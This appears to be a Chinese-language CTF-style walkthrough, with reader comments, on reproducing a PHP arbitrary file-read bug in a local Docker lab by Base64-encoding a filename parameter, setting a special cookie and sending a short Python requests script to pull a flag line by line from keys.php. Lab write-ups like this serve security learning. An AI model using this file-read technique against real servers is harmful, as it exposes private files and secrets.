如何复现该漏洞利用流程

15 人参与

在实际复现该文件读取漏洞时,往往会因为细节忽略而导致请求始终返回默认页面。本文从实验环境搭建、参数解码到请求构造全链路剖析,帮助安全研究者在本地或靶机上完整复现利用过程。

环境准备

建议使用 Docker 部署目标 PHP 程序,镜像基于 php:7.4-apache,将源码挂载至 /var/www/html。启动容器后,确认 http://localhost/index.php 能正常返回页面,且默认 error_reporting 已被关闭,以免干扰后续调试。

关键参数解码

漏洞入口的 filename 参数采用 Base64 编码。对照源码可以看到:

$file = base64_decode($_GET['filename'] ?? '');

因此需要先将目标文件名(如 keys.php)进行 Base64 编码得到 a2V5cy5waHA=,随后填入 URL。若不进行编码,服务器端会直接返回空值并触发重定向。

构造请求与 Cookie

  • GET 参数:filename=a2V5cy5waHA=line=0(读取首行)
  • 必备 Cookie:margin=margin,该值会在源码中触发 $file_list[2]='keys.php' 分支。
  • 使用 curlrequests 库发送请求,务必保持 Cookie 与参数同步。
import requests

s = requests.Session()
cookies = {'margin': 'margin'}
url = 'http://127.0.0.1/index.php?filename=a2V5cy5waHA=&line=0'
resp = s.get(url, cookies=cookies)
print(resp.text)  # 若成功,输出 flag 所在行内容

结果验证

若返回的正文中出现类似 FLAG{xxxx} 的字符串,即说明文件读取分支已被触发,漏洞利用成功。此时可以进一步修改 line 参数读取文件的其他行,或尝试读取同目录下的 index.php 进行代码审计

参与讨论

15 条评论
  • 雪青幻影

    这玩意搞了三天终于跑通了,差点以为环境有问题。

    回复
  • 心雾岛

    求问line参数不加会怎样?

    回复
  • 青面狐

    之前搞过类似的,Cookie那个margin纯属阴间设计😭

    回复
  • 蝙蝠侠

    怎么我返回的还是默认页啊,Base64确认没错啊?

    回复
  • 香草奶冻

    curl加个-v看看头信息呗,可能重定向没跟上。

    回复
  • 星河梦游者

    说白了就是拼配置,一步错全完蛋。

    回复
  • 阴差阳错

    有人踩过坑吗,filename编码后还要urlencode吗?

    回复
  • 胖胖龙

    我试了直接用python发请求,结果卡在cookie上了,必须叫’margin’才行?

    回复
  • 愣头葱

    这个分支触发太隐蔽了,源码不细看根本想不到。

    回复
  • SnicketySnack

    感觉还行,就是调试起来费眼睛。

    回复
  • 算法先知

    Docker那步能不能换成本地PHP?版本不对是不是就歇菜?

    回复
  • 网络喷子

    flag出来了但只有一行,想读完整文件咋办?

    回复
  • 黛羽

    可以写个脚本批量读line,从0开始递增就行。

    回复
  • 星光寂灭

    太折磨了这也,一个参数错就前功尽弃。

    回复
  • 锈蚀枪手

    那个margin=margin……是防君子不防小人?🤔

    回复